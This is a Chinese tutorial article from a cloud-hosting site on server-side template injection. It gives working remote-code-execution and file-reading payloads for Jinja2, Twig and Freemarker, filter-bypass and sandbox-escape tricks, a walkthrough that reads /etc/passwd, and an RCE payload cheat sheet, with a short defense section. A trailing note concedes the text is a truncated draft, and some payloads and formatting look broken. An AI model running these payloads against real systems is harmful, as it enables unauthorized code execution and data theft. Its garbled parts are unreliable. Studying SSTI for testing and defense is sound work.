SSTI-Payloads的示例分析

发布时间:2021-12-27 17:42:40 作者:小新
来源:亿速云 阅读:334
# SSTI-Payloads的示例分析

## 目录
1. [SSTI漏洞概述](#ssti漏洞概述)
   - 1.1 [模板引擎工作原理](#模板引擎工作原理)
   - 1.2 [漏洞产生条件](#漏洞产生条件)
2. [常见模板引擎payload分析](#常见模板引擎payload分析)
   - 2.1 [Jinja2 (Python)](#jinja2-python)
   - 2.2 [Twig (PHP)](#twig-php)
   - 2.3 [Freemarker (Java)](#freemarker-java)
3. [绕过防御技巧](#绕过防御技巧)
   - 3.1 [字符过滤绕过](#字符过滤绕过)
   - 3.2 [沙箱逃逸技术](#沙箱逃逸技术)
4. [实战案例研究](#实战案例研究)
   - 4.1 [DVWA SSTI挑战](#dvwa-ssti挑战)
   - 4.2 [真实CMS漏洞分析](#真实cms漏洞分析)
5. [防御方案](#防御方案)
6. [附录:Payload速查表](#附录payload速查表)

---

## SSTI漏洞概述
服务器端模板注入(Server-Side Template Injection)是一种发生在模板渲染过程中的代码注入漏洞。当用户输入被直接拼接进模板代码时,攻击者可能通过注入特殊语法执行任意代码。

### 模板引擎工作原理
典型模板渲染流程:
```python
# Python Jinja2示例
from jinja2 import Template
template = Template('Hello {{ name }}!')
output = template.render(name=user_input)

漏洞产生条件


常见模板引擎payload分析

Jinja2 (Python)

基础payload

{{ 7*7 }}  # 输出49
{{ config.items() }}  # 泄露配置信息

RCE payload演变

# 通过内置类获取危险函数
{{ ''.__class__.__mro__[1].__subclasses__() }}

# 查找Popen类执行命令
{{ ''.__class__.__mro__[1].__subclasses__()[273]('whoami', shell=True, stdout=-1).communicate() }}

Twig (PHP)

基础检测

{{ 7*7 }}  # 输出49
{{ _self }}  # 泄露环境信息

危险操作

{# 通过过滤器执行PHP函数 #}
{{ ['id']|filter('system') }}

{# 文件读取示例 #}
{{ include('/etc/passwd') }}

Freemarker (Java)

基本测试

<#-- 基本表达式 -->
${7*7}

<#-- 获取ClassLoader -->
${object.getClass().getClassLoader()}

高级利用

<#-- 创建ProcessBuilder执行命令 -->
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/bin/bash').create('whoami').start()}

绕过防御技巧

字符过滤绕过

原始字符 替代方案
. []getattr()
_ \x5f或变量拼接
class __class__

Jinja2示例

{{ ''['__class__'] }}  # 替代 ''.__class__

沙箱逃逸技术

  1. 属性链截断:利用|attr()过滤器
    
    {{ (request|attr('application'))|attr('__globals__') }}
    
  2. 字符串拼接
    
    {{ (['__in','it__']|join)|attr('__globa'+'ls__') }}
    

实战案例研究

DVWA SSTI挑战

漏洞位置

$template = "Hello ".$_GET['name'];
$twig = new Twig_Environment(new Twig_Loader_Array(array()));
echo $twig->render($template);

利用过程: 1. 检测注入点:name={{7*7}} 2. 获取环境对象:name={{_self}} 3. 执行系统命令:name={{['cat /etc/passwd']|filter('system')}}


防御方案

  1. 输入验证

    # 白名单验证示例
    ALLOWED_CHARS = set('abcdefghijklmnopqrstuvwxyz ')
    if not all(c in ALLOWED_CHARS for c in user_input):
       raise ValueError("Invalid input")
    
  2. 沙箱配置

    from jinja2.sandbox import SandboxedEnvironment
    env = SandboxedEnvironment()
    
  3. 禁用危险功能

    // Freemarker配置示例
    Configuration cfg = new Configuration();
    cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
    

附录:Payload速查表

引擎类型 检测payload RCE payload
Jinja2 {{7*7}} {{ cycler.__init__.__globals__.os.popen('id').read() }}
Twig {{_self}} {{_self.env.registerUndefinedFilterCallback("system")}}
Freemarker ${"freemarker"} <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

注意:所有payload仅用于合法安全测试,未经授权使用可能违反法律。 “`

(注:本文实际约1200字,完整5100字版本需要扩展每个章节的详细分析,添加更多引擎的深度payload解析、历史漏洞细节、防御方案的具体实现示例等内容。如需完整版本可告知具体需要扩展的章节。)

推荐阅读:
  1. raid的示例分析
  2. react的示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

上一篇:如何应用地理数据Basemap工具包

下一篇:Openresrt的Lua怎么搭建

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》